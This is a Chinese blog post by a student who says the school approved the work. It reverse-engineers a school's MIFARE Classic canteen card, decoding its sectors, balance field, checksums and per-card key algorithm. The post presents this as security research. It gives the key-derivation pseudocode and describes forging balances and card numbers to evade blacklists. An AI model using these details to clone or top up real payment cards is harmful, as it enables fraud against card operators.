飯卡破解 一卡一密破解(2B簡單級別的一卡一密)


0x00 前言 

知道自己在做什么,本文是基於學校領導批准下進行實驗

一次復制門禁卡的機會發現學校飯卡是M1卡,於是嘗試對飯卡的數據進行分析

嘗試偽造,檢驗是否有被人非法充值“漏洞”

本文只技術交流分享,濫用者自行承擔責任,與本文作者無關


這是一張偽造的飯卡,能改為任意卡號、姓名、學號、金額、交易流水記錄

 

0x01 過程

通過PN532上位機讀取數據,讀出12-14扇區數據

(以下數據經過修改,過機消費驗證,廠家敏感信息用XX打碼)

12 扇區
0區塊:3427001137270011001021310082BF81 
1區塊:EABBEABBEABB0000000000000000EF51
2區塊:0124082088888800132284440000E274
3區塊:1380XX76XX0DFF0780694346A053464A

13 扇區
0區塊:00000000000000000000000000000000
1區塊:66660000CC00BE05020209000014007C
2區塊:66660000CC00BE05020209000014007C
3區塊:B40DF82BC32DFF0780694346A053464A

14 扇區
0區塊:00000000000000000000000000000000
1區塊:00000000000000000000000000000000
2區塊:001000BE2D000400BD2C000400BC33DB
3區塊:0755XXXX0268FF0780694346A053464A

 不斷讀出每次刷卡的數據

可用控制變量法,例如固定的刷卡機,金額等

然后就是頭腦風暴,連蒙帶猜去驗證。


 0x02 數據分析

   12扇區

0區塊:3427001137270011001021310082BF81
1區塊:EABBEABBEABB0000000000000000EF51
0區塊:1021310082      是學號
1區塊:EABBEABBEABB    是姓名   GBK內碼轉換為:昊昊昊 

檢驗位

不難發現,基本每區塊的最后四位是檢驗位

網上教程的檢驗位運算無非就這幾種:相加、取反、異或

於是進行嘗試,發現是累加和、異或和檢驗位

     BF  是前面所有數據十六進制下相加的和(累加和)    

BF = 34+27+00+11+37+27+00+11+00+10+21+31+00+82

     81  是前面所有數據相異或的和(異或和)   

81 = 34xor27xor00xor11xor37xor27xor00xor11xor00xor10xor21xor31xor00xor82

13 扇區  

1區塊:66660000CC00BE05020209000014007C
2區塊:66660000CC00BE05020209000014007C
6666  十進制儲存的金額:66.66元
CC00  金額檢驗位  CC = 66 + 66;  00 = 66 xor 66
BE    流水號,對應14扇區流水,滿清
0502  消費日期 5月2日
0209  經過大數據分析,應該是刷卡機序列號
14    當天消費總額
7C    累加和檢驗位

 14扇區是 流水記錄

2區塊:001000BE2D000400BD2C000400BC33DB
第BE次消費10元對應刷卡機2D

 0x03 一卡一密分析

卡號存放在0扇區0區塊前8位

如0區塊:25F2AF275F0804006263646566676869
卡號是:25 F2 AF 27

密碼分KEYA,KEYB,KEYA在控制位FF078069左邊

如3 區塊: 56CE885DC32DFF0780694346A053464A
   KEYA是56CE885DC32D 
KEYB是4346A053464A

怎么看、算出來的呢?在同學的幫助下拿到10+人不同卡的數據
自己比較對比,發現密碼是一個個字符計算的
並且卡號相同的字符對應密碼的字符也一樣,如下圖同色的
圖中上面前8位是卡號,卡號下面的是密碼

上面都是一卡一密的數據,一眼就看出規律了

一卡一密算法(根據上述卡號密碼)
[假裝自己會C語言 寫的“偽代碼”]
num[8]="25F2AF27";
char pas[12];
pas[0] = num[6] xor 7 ; //2 xor 7 = 5 pas[1] = num[7] xor 1 ; //7 xor 1 = 6 pas[2] = num[4] xor 6 ; //A xor 6 = C pas[3] = num[5] xor 1 ; //F xor 1 = E pas[4] = num[2] xor 7 ; //F xor 7 = 8 pas[5] = num[3] xor A ; //2 xor A = 8 pas[6] = num[0] xor 7 ; //2 xor 7 = 5 pas[7] = num[1] xor 8 ; //5 xor 8 = D pas[8] = 'C' pas[9] = '3' pas[10] = '2' pas[11] = 'D'

 
         
pas[] = "56CE885DC32D"

 

0x04 結果

隨着一卡一密算法攻破,可以說飯卡徹底失守了

學校飯卡黑名單依據是卡號,也就說只要卡號變了,黑名單就禁不了這張卡

但是,一卡一密也不是沒用的,這時你的卡片密碼要對的上相應的密碼

刷卡機讀卡是根據卡號算出這張卡獨一無二的密碼,然后再用密碼訪問/修改金額

可惜一卡一密算法已經看出來了,我們能偽造任意的卡號以及對應的密碼

每區塊最后4位的檢驗位也有了,偽造數據輕而易舉

那么現在好玩了,飯堂內部沒有監控,只要我改掉卡片的個人信息,偽造金額,就能消費了

甚至如果寫出軟件或用單片機做出修改卡號、密碼、個人信息、金額、流水的功能

每次刷完卡后都更改上述信息,想抓到使用者簡直是天方夜譚

 

遺憾:鑒於高三時間緊,目的只是為了安全,沒有找到最大金額,稍微遺憾

 0x05 后記

正好趕上校方換人臉識別門禁,以前的M1+2.4G復合的厚卡不用了

加上洗衣機需要加裝刷卡機,於是整個一卡通系統換成CPU卡了

最后,首先感謝學校老師的大力支持,給與一個包容、開放的環境。同時也為自己學校瘋狂打call!

未來:通過逆向飯卡數據,大概了解飯卡的數據儲存結構,為以后單片機開發飯卡刷卡系統做准備。

 “實踐是檢驗真理的唯一標准”,黑客電影說過“光在電腦搞是入侵不了的,還需要實地入侵”很贊同

 

版權聲明:本文全是原創,一字一圖打上去的,禁止任何形式的轉載,分享,不正當獲利!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM